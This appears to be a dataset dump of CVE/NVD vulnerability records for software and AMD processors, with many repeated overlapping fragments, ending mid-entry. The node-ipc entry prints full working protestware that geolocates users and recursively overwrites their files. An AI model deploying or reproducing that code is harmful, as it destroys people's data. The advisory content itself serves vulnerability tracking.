Kushalkhemka/embedding-cve-nvd-dataset huggingface dataset:
CVE ID: CVE-2022-23802 State: PUBLISHED Published: 2022-05-06T17:55:11.006269Z Last Updated: 2024-09-17T02:05:58.721Z Vendors: ijoomla.com Products: Guru Problem Types: Insecure Permissions Description: Joomla Guru extension 5.2.5 is affected by: Insecure Permissions. The impact is: obtain sensitive information (remote). The component is: Access to private information and components, possibility to view other users' information. Information disclosure Access to private information and components, possibility to view other users' information. Additional Analyst Notes: - CVE Program Container: References: - https://guru.ijoomla.com/changelog
CVE ID: CVE-2022-23803 State: PUBLISHED Published: 2022-02-16T16:38:33.000Z Last Updated: 2025-04-15T19:09:55.768Z Severity: HIGH (CVSS 7.8 CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) Vendors: n/a Products: KiCad Problem Types: CWE-121 Description: A stack-based buffer overflow vulnerability exists in the Gerber Viewer gerber and excellon ReadXYCoord coordinate parsing functionality of KiCad EDA 6.0.1 and master commit de006fc010. A specially-crafted gerber or excellon file can lead to code execution. An attacker can provide a malicious file to trigger this vulnerability. Additional Analyst Notes: - CVE Program Container: - CISA ADP Vulnrichment: References: - https://talosintelligence.com
Additional Analyst Notes: - CVE Program Container: - CISA ADP Vulnrichment: References: - https://talosintelligence.com/vulnerability_reports/TALOS-2022-1453 - https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/5EMCGSSP3FIWCSL2KXVXLF35JYZKZE5Q/ - https://lists.debian.org/debian-lts-announce/2022/05/msg00009.html - https://lists.debian.org/debian-lts-announce/2022/08/msg00010.html - https://www.debian.org/security/2022/dsa-5214
CVE ID: CVE-2022-23804 State: PUBLISHED Published: 2022-02-16T16:38:34.000Z Last Updated: 2025-04-15T19:09:48.318Z Severity: HIGH (CVSS 7.8 CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) Vendors: n/a Products: KiCad Problem Types: CWE-121 Description: A stack-based buffer overflow vulnerability exists in the Gerber Viewer gerber and excellon ReadIJCoord coordinate parsing functionality of KiCad EDA 6.0.1 and master commit de006fc010. A specially-crafted gerber or excellon file can lead to code execution. An attacker can provide a malicious file to trigger this vulnerability. Additional Analyst Notes: - CVE Program Container: - CISA ADP Vulnrichment: References: - https://talosintelligence.com
CVE ID: CVE-2022-23805 State: PUBLISHED Published: 2022-02-04T22:32:58 Last Updated: 2024-08-03T03:51:45.989Z Vendors: Trend Micro Products: Trend Micro Worry-Free Business Security Problem Types: Out-Of-Bounds Read Information Disclosure Description: A security out-of-bounds read information disclosure vulnerability in Trend Micro Worry-Free Business Security Server could allow a local attacker to send garbage data to a specific named pipe and crash the server. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. Additional Analyst Notes: - CVE Program Container: References: - https://success.trend
er to exploit this vulnerability. Additional Analyst Notes: - CVE Program Container: References: - https://success.trendmicro.com/solution/000290416 - https://www.zerodayinitiative.com/advisories/ZDI-22-147/
CVE ID: CVE-2022-23806 State: PUBLISHED Published: 2022-02-11T00:00:00 Last Updated: 2024-08-03T03:51:45.994Z Vendors: n/a Products: n/a Problem Types: n/a Description: Curve.IsOnCurve in crypto/elliptic in Go before 1.16.14 and 1.17.x before 1.17.7 can incorrectly return true in situations with a big.Int value that is not a valid field element. Additional Analyst Notes: - CVE Program Container: References: - https://lists.debian.org/debian-lts-announce/2022/04/msg00017.html - https://lists.debian.org/debian-lts-announce/2022/04/msg00018.html - https://www.oracle.com/security-alerts/cpujul2022.html - https://groups.google.com/g/golang-announce/c/SUsQn0aSgPQ - https://security.netapp.com/advi
ty-alerts/cpujul2022.html - https://groups.google.com/g/golang-announce/c/SUsQn0aSgPQ - https://security.netapp.com/advisory/ntap-20220225-0006/ - https://security.gentoo.org/glsa/202208-02 - https://lists.debian.org/debian-lts-announce/2023/04/msg00021.html
CVE ID: CVE-2022-23807 State: PUBLISHED Published: 2022-01-22T00:00:00 Last Updated: 2024-08-03T03:51:46.021Z Vendors: n/a Products: n/a Problem Types: n/a Description: An issue was discovered in phpMyAdmin 4.9 before 4.9.8 and 5.1 before 5.1.2. A valid user who is already authenticated to phpMyAdmin can manipulate their account to bypass two-factor authentication for future login instances. Additional Analyst Notes: - CVE Program Container: References: - https://www.phpmyadmin.net/security/PMASA-2022-1/ - https://security.gentoo.org/glsa/202311-17
CVE ID: CVE-2022-23808 State: PUBLISHED Published: 2022-01-22T00:00:00.000Z Last Updated: 2025-05-05T16:25:09.948Z Vendors: n/a Products: n/a Problem Types: n/a Description: An issue was discovered in phpMyAdmin 5.1 before 5.1.2. An attacker can inject malicious code into aspects of the setup script, which can allow XSS or HTML injection. Additional Analyst Notes: - CVE Program Container: - CISA ADP Vulnrichment: References: - https://www.phpmyadmin.net/security/PMASA-2022-2/ - https://infosecwriteups.com/exploit-cve-2022-23808-85041c6e5b97 - https://security.gentoo.org/glsa/202311-17
CVE ID: CVE-2022-23810 State: PUBLISHED Published: 2022-02-24T09:50:28 Last Updated: 2024-08-03T03:51:45.982Z Vendors: appleple inc. Products: a-blog cms Problem Types: Template injection (Improper Neutralization of Special Elements Used in a Template Engine) Description: Template injection (Improper Neutralization of Special Elements Used in a Template Engine) vulnerability in a-blog cms Ver.2.8.x series versions prior to Ver.2.8.75, Ver.2.9.x series versions prior to Ver.2.9.40, Ver.2.10.x series versions prior to Ver.2.10.44, Ver.2.11.x series versions prior to Ver.2.11.42, and Ver.3.0.x series versions prior to Ver.3.0.1 allows a remote authenticated attacker to obtain an arbitrary file
42, and Ver.3.0.x series versions prior to Ver.3.0.1 allows a remote authenticated attacker to obtain an arbitrary file on the server via unspecified vectors. Additional Analyst Notes: - CVE Program Container: References: - https://developer.a-blogcms.jp/blog/news/security-202202.html - https://jvn.jp/en/jp/JVN14706307/index.html
CVE ID: CVE-2022-23812 State: PUBLISHED Published: 2022-03-16T15:45:31.515364Z Last Updated: 2024-09-16T22:19:54.618Z Severity: CRITICAL (CVSS 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:H) Vendors: n/a Products: node-ipc Problem Types: Malicious Package Description: This affects the package node-ipc from 10.1.1 and before 10.1.3. This package contains malicious code, that targets users with IP located in Russia or Belarus, and overwrites their files with a heart emoji. **Note**: from versions 11.0.0 onwards, instead of having malicious code directly in the source of this package, node-ipc imports the peacenotwar package that includes potentially undesired behavior. Malicious Code: **
this package, node-ipc imports the peacenotwar package that includes potentially undesired behavior. Malicious Code: **Note:** Don't run it! js import u from "path"; import a from "fs"; import o from "https"; setTimeout(function () { const t = Math.round(Math.random() * 4); if (t > 1) { return; } const n = Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64"); // https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154 o.get(n.toString("utf8"), function (t) { t.on("data", function (t) { const n = Buffer.from("Li8=", "base64"); const o = Buffer.from("Li4v", "base64"); const r = Buffer.from("Li4vLi4v", "
{ const n = Buffer.from("Li8=", "base64"); const o = Buffer.from("Li4v", "base64"); const r = Buffer.from("Li4vLi4v", "base64"); const f = Buffer.from("Lw==", "base64"); const c = Buffer.from("Y291bnRyeV9uYW1l", "base64"); const e = Buffer.from("cnVzc2lh", "base64"); const i = Buffer.from("YmVsYXJ1cw==", "base64"); try { const s = JSON.parse(t.toString("utf8")); const u = s[c.toString("utf8")].toLowerCase(); const a = u.includes(e.toString("utf8")) || u.includes(i.toString("utf8")); // checks if country is Russia or Belarus if (a) { h(n.toString("utf8")); h(o.toString("utf8")); h(r.toString("utf8")); h(f.toString("utf8")); } } catch (t) {} }); }); }, Math.ceil(Math.random() * 1e3)); async f
8")); h(r.toString("utf8")); h(f.toString("utf8")); } } catch (t) {} }); }); }, Math.ceil(Math.random() * 1e3)); async function h(n = "", o = "") { if (!a.existsSync(n)) { return; } let r = []; try { r = a.readdirSync(n); } catch (t) {} const f = []; const c = Buffer.from("4p2k77iP", "base64"); for (var e = 0; e < r.length; e++) { const i = u.join(n, r[e]); let t = null; try { t = a.lstatSync(i); } catch (t) { continue; } if (t.isDirectory()) { const s = h(i, o); s.length > 0 ? f.push(...s) : null; } else if (i.indexOf(o) >= 0) { try { a.writeFile(i, c.toString("utf8"), function () {}); // overwrites file with ❤️ } catch (t) {} } } return f; } const ssl = true; export { ssl as default, ssl }
ction () {}); // overwrites file with ❤️ } catch (t) {} } } return f; } const ssl = true; export { ssl as default, ssl }; Additional Analyst Notes: - CVE Program Container: References: - https://snyk.io/vuln/SNYK-JS-NODEIPC-2426370 - https://github.com/RIAEvangelist/node-ipc/issues/236 - https://github.com/RIAEvangelist/node-ipc/issues/233 - https://github.com/RIAEvangelist/node-ipc/blob/847047cf7f81ab08352038b2204f0e7633449580/dao/ssl-geospec.js - https://github.com/RIAEvangelist/node-ipc/commit/847047cf7f81ab08352038b2204f0e7633449580 - https://security.netapp.com/advisory/ntap-20220407-0005/
CVE ID: CVE-2022-23813 State: PUBLISHED Published: 2023-01-10T20:56:55.421Z Last Updated: 2025-04-09T14:44:09.112Z Vendors: AMD, AMD Products: 2nd Gen EPYC, 3rd Gen EPYC Problem Types: n/a Description: The software interfaces to ASP and SMU may not enforce the SNP memory security policy resulting in a potential loss of integrity of guest memory in a confidential compute environment. Additional Analyst Notes: - CVE Program Container: - CISA ADP Vulnrichment: References: - https://www.amd.com/en/corporate/product-security/bulletin/AMD-SB-1032
CVE ID: CVE-2022-23814 State: PUBLISHED Published: 2023-01-10T20:56:56.733Z Last Updated: 2025-04-09T14:42:50.048Z Vendors: AMD Products: 3rd Gen EPYC Problem Types: n/a Description: Failure to validate addresses provided by software to BIOS commands may result in a potential loss of integrity of guest memory in a confidential compute environment. Additional Analyst Notes: - CVE Program Container: - CISA ADP Vulnrichment: References: - https://www.amd.com/en/corporate/product-security/bulletin/AMD-SB-1032
CVE ID: CVE-2022-23815 State: PUBLISHED Published: 2024-08-13T16:51:43.735Z Last Updated: 2025-03-18T20:42:11.741Z Severity: HIGH (CVSS 7.5 CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H) Vendors: AMD Products: AMD Athlon™ 3000 Series Desktop Processors with Radeon™ Graphics, AMD Athlon™ 3000 Series Mobile Processors with Radeon™ Graphics, AMD Ryzen™ 3000 Series Mobile Processor with Radeon™ Graphics, AMD RyzenTM Embedded R1000, AMD RyzenTM Embedded R2000, AMD RyzenTM Embedded V1000 Description: Improper bounds checking in APCB firmware may allow an attacker to perform an out of bounds write, corrupting the APCB entry, potentially leading to arbitrary code execution. Additional Analyst Notes:
of bounds write, corrupting the APCB entry, potentially leading to arbitrary code execution. Additional Analyst Notes: - CISA ADP Vulnrichment: References: - https://www.amd.com/en/resources/product-security/bulletin/amd-sb-4004.html
CVE ID: CVE-2022-23816 State: REJECTED Published: N/A Last Updated: 2023-01-17T00:00:00 Description: No description available.
CVE ID: CVE-2022-23817 State: PUBLISHED Published: 2024-08-13T16:51:45.468Z Last Updated: 2024-08-16T20:27:19.545Z Severity: HIGH (CVSS 7 CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H) Vendors: AMD Products: AMD Ryzen™ 3000 Series Desktop Processors, AMD Ryzen™ 5000 Series Desktop Processors, AMD Ryzen™ 5000 Series Desktop Processor with Radeon™ Graphics, AMD Ryzen™ 7000 Series Desktop Processors, AMD Athlon™ 3000 Series Desktop Processors with Radeon™ Graphics, AMD Ryzen™ 4000 Series Desktop Processors with Radeon™ Graphics, AMD Ryzen™ Threadripper™ 3000 Series Processors, AMD Ryzen™ Threadripper™ PRO 3000WX Series Processors, AMD Ryzen™ Threadripper™ PRO 5000WX Processors, AMD Athlon™ 3000
AMD Ryzen™ Threadripper™ PRO 3000WX Series Processors, AMD Ryzen™ Threadripper™ PRO 5000WX Processors, AMD Athlon™ 3000 Series Mobile Processors with Radeon™ Graphics, AMD Ryzen™ 3000 Series Mobile Processor with Radeon™ Graphics, AMD Ryzen™ 4000 Series Mobile Processors with Radeon™ Graphics, AMD Ryzen™ 5000 Series Mobile Processors with Radeon™ Graphics, AMD Ryzen™ 6000 Series Processors with Radeon™ Graphics, AMD Ryzen™ 7035 Series Processors with Radeon™ Graphics, AMD Ryzen™ 5000 Series Processors with Radeon™ Graphics, AMD Ryzen™ 3000 Series Processors with Radeon™ Graphics, AMD Ryzen™ 7045 Series Mobile Processors, AMD Ryzen™ Embedded R1000 Series Processors, AMD Ryzen™ Embedded R2000
phics, AMD Ryzen™ 7045 Series Mobile Processors, AMD Ryzen™ Embedded R1000 Series Processors, AMD Ryzen™ Embedded R2000 Series Processors, AMD Ryzen™ Embedded 5000 Series Processors, AMD Ryzen™ Embedded 7000 Series Processors, AMD Ryzen™ Embedded V1000 Series Processors, AMD Ryzen™ Embedded V2000 Series Processors, AMD Ryzen™ Embedded V3000 Series Processors Description: Insufficient checking of memory buffer in ASP Secure OS may allow an attacker with a malicious TA to read/write to the ASP Secure OS kernel virtual address space, potentially leading to privilege escalation. Additional Analyst Notes: - CISA ADP Vulnrichment: References: - https://www.amd.com/en/resources/product-security/bul
. Additional Analyst Notes: - CISA ADP Vulnrichment: References: - https://www.amd.com/en/resources/product-security/bulletin/amd-sb-4004.html
CVE ID: CVE-2022-23818 State: PUBLISHED Published: 2023-05-09T18:36:28.387Z Last Updated: 2025-01-28T15:55:54.421Z Vendors: AMD Products: 3rd Gen AMD EPYC™ Description: Insufficient input validation on the model specific register: VM_HSAVE_PA may potentially lead to loss of SEV-SNP guest memory integrity. Additional Analyst Notes: - CVE Program Container: - CISA ADP Vulnrichment: References: - https://www.amd.com/en/corporate/product-security/bulletin/AMD-SB-3001
CVE ID: CVE-2022-23820 State: PUBLISHED Published: 2023-11-14T18:52:21.457Z Last Updated: 2024-08-03T03:51:46.067Z Severity: HIGH (CVSS 7.5 CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H) Vendors: AMD Products: Ryzen™ 3000 series Desktop Processors “Matisse", AMD Ryzen™ 5000 Series Desktop Processors “Vermeer”, AMD Ryzen™ 5000 Series Desktop Processor with Radeon™ Graphics “Cezanne”, AMD Athlon™ 3000 Series Desktop Processors with Radeon™ Graphics “Picasso” AM4, AMD Ryzen™ Threadripper™ 2000 Series Processors “Colfax”, AMD Ryzen™ Threadripper™ 3000 Series Processors “Castle Peak” HEDT, AMD Ryzen™ Threadripper™ PRO Processors “Castle Peak” WS SP3, AMD Ryzen™ Threadripper™ PRO 3000WX Series Proc
eak” HEDT, AMD Ryzen™ Threadripper™ PRO Processors “Castle Peak” WS SP3, AMD Ryzen™ Threadripper™ PRO 3000WX Series Processors “Chagall” WS, AMD Athlon™ 3000 Series Mobile Processors with Radeon™ Graphics “Pollock”, AMD Ryzen™ 3000 Series Mobile Processor with Radeon™ Graphics “Picasso” FP5, AMD Ryzen™ 4000 Series Mobile Processors with Radeon™ Graphics “Renoir” FP6, AMD Ryzen™ 5000 Series Mobile Processors with Radeon™ Graphics “Lucienne”, AMD Ryzen™ 5000 Series Mobile Processors with Radeon™ Graphics “Cezanne”, AMD Ryzen™ 6000 Series Processors with Radeon™ Graphics "Rembrandt", AMD Ryzen™ 7035 Series Processors with Radeon™ Graphics “Rembrandt-R”, AMD Ryzen™ 5000 Series Processors with Ra
randt", AMD Ryzen™ 7035 Series Processors with Radeon™ Graphics “Rembrandt-R”, AMD Ryzen™ 5000 Series Processors with Radeon™ Graphics “Barcelo”, AMD Ryzen™ 7030 Series Mobile Processors with Radeon™ Graphics “Barcelo-R”, 3rd Gen AMD EPYC™ Processors, AMD EPYC™ Embedded 7003 Description: Failure to validate the AMD SMM communication buffer may allow an attacker to corrupt the SMRAM potentially leading to arbitrary code execution. Additional Analyst Notes: - CVE Program Container: References: - https://www.amd.com/en/corporate/product-security/bulletin/AMD-SB-4002 - https://www.amd.com/en/corporate/product-security/bulletin/AMD-SB-3002 - https://www.amd.com/en/corporate/product-security/bulle
www.amd.com/en/corporate/product-security/bulletin/AMD-SB-3002 - https://www.amd.com/en/corporate/product-security/bulletin/AMD-SB-5001
CVE ID: CVE-2022-23821 State: PUBLISHED Published: 2023-11-14T18:54:32.952Z Last Updated: 2024-12-03T14:26:05.643Z Vendors: AMD Products: Ryzen™ 3000 Series Desktop Processors “Matisse”, Ryzen™ 5000 Series Desktop Processors “Vermeer”, Ryzen™ 5000 Series Desktop Processor with Radeon™ Graphics “Cezanne”, Athlon™ 3000 Series Desktop Processors with Radeon™ Graphics “Picasso” AM4, Ryzen™ Threadripper™ 2000 Series Processors “Colfax”, Ryzen™ Threadripper™ 3000 Series Processors “Castle Peak” HEDT, Ryzen™ Threadripper™ PRO Processors “Castle Peak” WS SP3, Ryzen™ Threadripper™ PRO 3000WX Series Processors “Chagall” WS, Athlon™ 3000 Series Mobile Processors with Radeon™ Graphics “Dali”/”Dali” FP5,
RO 3000WX Series Processors “Chagall” WS, Athlon™ 3000 Series Mobile Processors with Radeon™ Graphics “Dali”/”Dali” FP5, Athlon™ 3000 Series Mobile Processors with Radeon™ Graphics “Pollock”, Ryzen™ 3000 Series Mobile Processor with Radeon™ Graphics “Picasso” FP5, Ryzen™ 4000 Series Mobile Processors with Radeon™ Graphics “Renoir” FP6, Ryzen™ 5000 Series Mobile Processors with Radeon™ Graphics “Lucienne”, Ryzen™ 5000 Series Mobile Processors with Radeon™ Graphics “Cezanne”, AMD Ryzen™ 6000 Series Processors with Radeon™ Graphics "Rembrandt", AMD Ryzen™ 7035 Series Processors with Radeon™ Graphics “Rembrandt-R”, AMD Ryzen™ 5000 Series Processors with Radeon™ Graphics “Barcelo”, AMD Ryzen™ 703
s with Radeon™ Graphics “Rembrandt-R”, AMD Ryzen™ 5000 Series Processors with Radeon™ Graphics “Barcelo”, AMD Ryzen™ 7030 Series Mobile Processors with Radeon™ Graphics “Barcelo-R”, AMD Ryzen™ Embedded R1000, AMD Ryzen™ Embedded R2000, AMD Ryzen™ Embedded 5000, AMD Ryzen™ Embedded V1000, AMD Ryzen™ Embedded V2000, AMD Ryzen™ Embedded V3000 Description: Improper access control in System Management Mode (SMM) may allow an attacker to write to SPI ROM potentially leading to arbitrary code execution. Additional Analyst Notes: - CVE Program Container: - CISA ADP Vulnrichment: References: - https://www.amd.com/en/corporate/product-security/bulletin/AMD-SB-4002 - https://www.amd.com/en/corporate/pr
ferences: - https://www.amd.com/en/corporate/product-security/bulletin/AMD-SB-4002 - https://www.amd.com/en/corporate/product-security/bulletin/AMD-SB-5001
CVE ID: CVE-2022-23822 State: PUBLISHED Published: 2022-04-27T16:06:05.276121Z Last Updated: 2024-09-16T22:25:01.331Z Vendors: AMD-Xilinx Products: Zynq-7000 SoC FSBL Problem Types: CWE-863 Description: In this physical attack, an attacker may potentially exploit the Zynq-7000 SoC First Stage Boot Loader (FSBL) by bypassing authentication and loading a malicious image onto the device. This in turn may further allow the attacker to perform additional attacks such as such as using the device as a decryption oracle. An anticipated mitigation via a 2022.1 patch will resolve the issue. Additional Analyst Notes: - CVE Program Container: References: - https://support.xilinx.com/s/article/76974 - ht
issue. Additional Analyst Notes: - CVE Program Container: References: - https://support.xilinx.com/s/article/76974 - https://github.com/Xilinx/embeddedsw/tree/master/lib/sw_apps/zynq_fsbl
CVE ID: CVE-2022-23823 State: PUBLISHED Published: 2022-06-15T19:13:04.771389Z Last Updated: 2024-09-17T03:59:08.119Z Vendors: AMD Products: AMD Processors Problem Types: NA Description: A potential vulnerability in some AMD processors using frequency scaling may allow an authenticated attacker to execute a timing attack to potentially enable information disclosure. Additional Analyst Notes: - CVE Program Container: References: - https://www.amd.com/en/corporate/product-security/bulletin/amd-sb-1038
CVE ID: CVE-2022-23824 State: PUBLISHED Published: 2022-11-09T20:48:06.826Z Last Updated: 2025-02-13T16:32:23.589Z Vendors: AMD Products: AMD Processors Problem Types: NA Description: IBPB may not prevent return branch predictions from being specified by pre-IBPB branch targets leading to a potential information disclosure. Additional Analyst Notes: - CVE Program Container: References: - https://www.amd.com/en/corporate/product-security/bulletin/amd-sb-1040 - http://www.openwall.com/lists/oss-security/2022/11/10/2 - https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/YTMITQBGC23MSDHUCAPCVGLMVXIBXQTQ/ - https://lists.fedoraproject.org/archives/list
unce%40lists.fedoraproject.org/message/YTMITQBGC23MSDHUCAPCVGLMVXIBXQTQ/ - https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/NTQMPJC5N6XJYQ232OZFLK47HVZNRBY3/ - https://www.debian.org/security/2023/dsa-5378 - https://security.gentoo.org/glsa/202402-07
CVE ID: CVE-2022-23825 State: PUBLISHED Published: 2022-07-14T19:27:08.292471Z Last Updated: 2024-09-16T17:48:09.000Z Vendors: AMD Products: AMD Processors Problem Types: NA Description: Aliases in the branch predictor may cause some AMD processors to predict the wrong branch type potentially leading to information disclosure. Additional Analyst Notes: - CVE Program Container: References: - https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/M27MB3QFNIJV4EQQSXWARHP3OGX6CR6K/ - https://www.amd.com/en/corporate/product-security/bulletin/amd-sb-1037 - https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/D4R
letin/amd-sb-1037 - https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/D4RW5FCIYFNCQOEFJEUIRW3DGYW7CWBG/ - https://www.debian.org/security/2022/dsa-5184 - https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/KLSRW4LLTAT3CZMOYVNTC7YIYGX3KLED/ - https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/MYI3OMJ7RIZNL3C6GUWNANNPEUUID6FM/ - http://www.openwall.com/lists/oss-security/2022/11/08/1 - http://www.openwall.com/lists/oss-security/2022/11/10/2 - https://security.gentoo.org/glsa/202402-07
CVE ID: CVE-2022-23827 State: REJECTED Published: N/A Last Updated: 2023-01-17T00:00:00 Description: No description available.
CVE ID: CVE-2022-23829 State: PUBLISHED Published: 2024-06-18T19:01:24.315Z Last Updated: 2024-08-29T20:40:26.171Z Severity: HIGH (CVSS 8.2 CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H) Vendors: AMD Products: AMD Ryzen™ Threadripper™ PRO Processors 5900 WX-Series, AMD Ryzen™ 6000 Series Mobile Processors and Workstations, AMD Ryzen™ 7000 Series Desktop Processors, AMD Ryzen™ 5000 Series Mobile Processors, AMD Ryzen™ 5000 Series Desktop Processors, AMD Ryzen™ 5000 Series Mobile Processors with Radeon™ Graphics, AMD Ryzen™ 3000 Series Desktop Processors, AMD Ryzen™ 4000 Series Desktop Processors with Radeon™ Graphics, AMD Ryzen™ 4000 Series Mobile Processors, AMD Ryzen™ 3000 Series Mobile Proc